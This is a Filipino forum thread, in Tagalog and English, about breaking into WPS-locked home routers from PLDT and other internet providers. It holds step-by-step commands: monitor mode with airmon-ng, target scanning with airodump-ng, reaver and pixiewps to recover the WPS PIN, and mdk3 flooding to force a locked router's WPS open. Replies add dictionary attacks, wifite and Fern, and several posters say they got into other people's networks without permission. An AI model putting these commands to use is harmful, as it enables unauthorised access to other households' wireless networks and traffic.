I need help WPS LOCKED [PLDT Routers]

[pianistangit]

mga ka symb. tanong ko lang po and hingi narin ng tip kung natry nyo na ma hack ang bagong router ng pldt ngayon, lalo na yung pldt fibr. pero zyxel parin nmn routers nila diba?

1. i tried pixiewps but hindi working since nag lolock siya. and kung maka associate man siya, hindi siya nag bibigay ng E-Hashes(public keys) pero the rest binibigay niya like e and r nonce pati authentication keys, wala lang talaga yung E-hashes.

2. same din sa reaver and eapol attack( i tried injecting decent amount of packets, from two different wifi adapters mga 500-1000 packets/s sa AP pero hindi siya nagrerestart.

using kali linux latest update.


ps. alam ko po yung default password pattern.. para po to sa mga nagpalit ng default passowrd.




Nagawan ko na ng paraan, tinest ko din po sa ibang Access point like Skybroadband and Globe Aztech routers working din po siya... heres what i did. Using Pixiedust at Reaver..

Mga kailangan po muna.

1. Wireless adapter na pwede makapag monitor ng wifi traffic kahit hindi connected sa isang network
-Hanap nalang po tayo ng mga Wireless adapter, meron po dito marami search lang po sa ibang thread, lalo na sa Hardware Section ng forums natin.

2. Kali Linux. with latest updates syempre
-para po mag update ang OS natin open lang po tayo ng Terminal window then type:

apt-get update
apt-get upgrade
apt-get dist-upgrade

Steps

1. Open po tayo ng Terminal window (eto po yung CUI (command user interface ng kali linux)).
2. enter: airmon-ng
check po muna natin kung anong pangalan ng interface natin. madalas "wlan0" or "mon0" pero sa bagong labas na kali "wlan0mon" siya. pero to make sure check nalang natin. sa case natin "wlan0" siya nakalagay.
3. enter: iwconfig wlan0
check muna natin kung naka monitor mode ba siya. if naka monitor mode na then skip po natin to.
3.2 if hindi siya naka monitor mode enter the following: nasa baba may pic.
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
3.3 iwconfig to check if nalipat na siya sa monitor mode.

4. enter: airodump-ng wlan0
to show the list of access points.
5. hit "ctrl+c" if may nahanap na tayong target. wag po natin e close tong window na to. take note of the BSSID and CHANNEL ng Target natin
6. open a new terminal window.
7. enter: reaver -i wlan0 -b XX:XX:XX:XX:XX:XX -c X -vv -K 1
-paki palitan po si variable "x" ng bssid at channel ng target access point natin. or copy nyo nalang mula sa kabila terminal window.
8. then we wait... kailangan natin ang:
PKE, PKR, e-hash 1 & e-hash 2, E-nonce / R-nonce and the authkey from Reaver para sa pixiewps.

9. once nahanap na natin ang mga kailangan natin. pwede na natin gamitin ang pixiewps tool. may pic sa baba

10.enter: pixiewps
at paki sundan ang format sa paglalagay ng mga PKE, PKR, e-hash 1 & e-hash 2, E-nonce / R-nonce at authkey

pixiewps -e [paki paste dito ang PKE] -r [d2 PKR] -s [d2 E-hash1] -z [d2 E-hash2] -a [authkey here] -n [e-nonnce here] -m [r-nonce here]

Hindi po kasama ang mga bracket

11. if pin lang ang binigay. sa WPS tab ng Ralink natin choose 1.) REGISTRAR sa config mode then 2.) input natin ang PIN sa Pin Code Textbox Last 3.) Click mo yung Pin sa lower left. check picture for reference.

View attachment 234473
View attachment 234474
View attachment 234475
View attachment 234476
View attachment 234477
View attachment 234646

 

[Bazte]

mga ka symb. tanong ko lang po and hingi narin ng tip kung natry nyo na ma hack ang bagong router ng pldt ngayon, lalo na yung pldt fibr. pero zyxel parin nmn routers nila diba?

1. i tried pixiewps but hindi working since nag lolock siya. and kung maka associate man siya, hindi siya nag bibigay ng E-Hashes(public keys) pero the rest binibigay niya like e and r nonce pati authentication keys, wala lang talaga yung E-hashes.

2. same din sa reaver and eapol attack( i tried injecting decent amount of packets, from two different wifi adapters mga 500-1000 packets/s sa AP pero hindi siya nagrerestart.

using kali linux latest update.


ps. alam ko po yung default password pattern.. para po to sa mga nagpalit ng default passowrd.

2.0 sana yan? natry mo na aircrack dictionary attack?

 

[diode121]

capture ka nalang ng handshake then dictionary attack..
or if you have lots of patience set mu yung timeout period flag mo sa reaver para hindi siya mag-lockout..

tanong lang, yung ginagamit mo bang wpspixie is yung built-in na sa reaver?

 

[pianistangit]

2.0 sana yan? natry mo na aircrack dictionary attack?

may ma i susuggest kaba ng dictionary/wordlist para gamitin ko sir?>

 

[kieer06]

eto sir try mo , patience lang.. using mdk3.

mdk3 monX a -i <target bssid> -s 300 -m
mdk3 monX m -t <target bssid> -m
mdk3 monX x 1 -t <target bssid> -n<wifi ssid> -w 2 -u 2 -m 2 -c <mac of ur wlan adapter> -s 300

and

airodump-ng monX

if nag change channel si Target it means unlock. na sya.

to make sure

wash -i monX

....tested ko na to 5 to 25 mins naguunlock sya and 120 secs. para makapag wps attack ka.

 

[pianistangit]

eto sir try mo , patience lang.. using mdk3.

mdk3 monX a -i <target bssid> -s 300 -m
mdk3 monX m -t <target bssid> -m
mdk3 monX x 1 -t <target bssid> -n<wifi ssid> -w 2 -u 2 -m 2 -c <mac of ur wlan adapter> -s 300

and

airodump-ng monX

if nag change channel si Target it means unlock. na sya.

to make sure

wash -i monX

....tested ko na to 5 to 25 mins naguunlock sya and 120 secs. para makapag wps attack ka.

sir na unlock ko na po. first ginamitan ko ng mdk3 hanggang ma unlock siya. pero naglock ulit. pero nakuha ko yung mga E-Hash niya. kaya gumamit ako ng Pixiewps attack. kaso WPS-Pin lang ang binigay niya. wala yung password niya mismo. Pixiewps 1.1

[*] E-S1:
[*] E-S2:
[+] WPS pin:

[*] Time taken: 0 s

ginamitan ko ng reaver. "--pin " kaso stuck siya sa 90.91% hindi na siya gumagalaw.. =( help me please

- - - Updated - - -

naka connect na po ako sir. gamit ang pin. :3 thanks

 

[feminine1990]

Pno kyo nk connect gmit sng wps pin at gummit b kyo ng reaver pr mk connect

 

[pianistangit]

Pno kyo nk connect gmit sng wps pin at gummit b kyo ng reaver pr mk connect

may option po yung User interface ng mga Ralink chipset sir na kung saan pwede ka mag connect gamit ang WPS pin.

View attachment 229730

yup gumamit ako ng reaver at pixiewps para makuha ko yung pin.

 

[feminine1990]

Yun s akin kc nkuha ko n rin yun wps pin nya pero wlng password n lumbas gusto ko sn n mkconnect s n hack ko n wifi pero yun network adaptor n nbili ko s cdr king wlng option n pr mkconnect k using wps pin. P help nman sir kung ano dpat q gwin

 

[pianistangit]

Yun s akin kc nkuha ko n rin yun wps pin nya pero wlng password n lumbas gusto ko sn n mkconnect s n hack ko n wifi pero yun network adaptor n nbili ko s cdr king wlng option n pr mkconnect k using wps pin. P help nman sir kung ano dpat q gwin

ano po yung nabili mo? ralink ba or realtek? madali lang po yan

 

[feminine1990]

Realtek po meron po b way pr mkconnect aq

 

[pianistangit]

Realtek po meron po b way pr mkconnect aq

ganito po ba ang interface ng adapter nyo? View attachment 229966

 

[Bazte]

Yun s akin kc nkuha ko n rin yun wps pin nya pero wlng password n lumbas gusto ko sn n mkconnect s n hack ko n wifi pero yun network adaptor n nbili ko s cdr king wlng option n pr mkconnect k using wps pin. P help nman sir kung ano dpat q gwin

try mo wifite mas madali un sa may mga wps. once nakuha na nya pin nakuha mo na din password. kahit walang wps login ung adapter mo hindi problema. madali lang gamitin yan serach mo nalang

 

[r1bnc]

Yung sa Home Bro ultera ba na router me naka-h@ck na ba? yung nasasagap ko dito kapag FERN WIFI Cracker ginagamit nawawala yung WiFi AP, parang nag-hihide tapos kapag try ko icrack WPS, mag-didisable yung WPS sa router. sasabihin ni Fern WPS is not avail. Kaya dictionary ginamit ko pero di nman ma-capture handshake puro deauth lang nagagawa niya.... broadcom yung sa akin wifi

 

[pianistangit]

Yung sa Home Bro ultera ba na router me naka-h@ck na ba? yung nasasagap ko dito kapag FERN WIFI Cracker ginagamit nawawala yung WiFi AP, parang nag-hihide tapos kapag try ko icrack WPS, mag-didisable yung WPS sa router. sasabihin ni Fern WPS is not avail. Kaya dictionary ginamit ko pero di nman ma-capture handshake puro deauth lang nagagawa niya.... broadcom yung sa akin wifi

oo bro, nahack ko yung homebro dito gamit reaver at pixiewps. pero mas maganda parin talgaa pldtfibr. hehe

 

[feminine1990]

Sir hindi prin po aq mk connect hindi ko mkita yun s picture nyo. Cnubukan ko ulit reaver at yun pin pero hangang 90% lng sya hindi n gumglaw. P help nman po

 

[pianistangit]

Sir hindi prin po aq mk connect hindi ko mkita yun s picture nyo. Cnubukan ko ulit reaver at yun pin pero hangang 90% lng sya hindi n gumglaw. P help nman po

try mo ito. hanap ka ng bagong user interfaceh/software para sa adapter mo http://www.usb-drivers.org/realtek-rtl8187-wireless-usb-2-0-driver.html

 

[r1bnc]

Nahack ko na sa wakas yung homebro ultera gamit yung reaver at pixiewps, in 3 minutes ata. nakuha ko yung WPS PIN at WPA Key kahit nakadisable yung WPS sa router.

 

[myung]

Bookmark lang. Baka sakaling kailanganin ko

 

[pianistangit]

Bookmark lang. Baka sakaling kailanganin ko

sige lang sir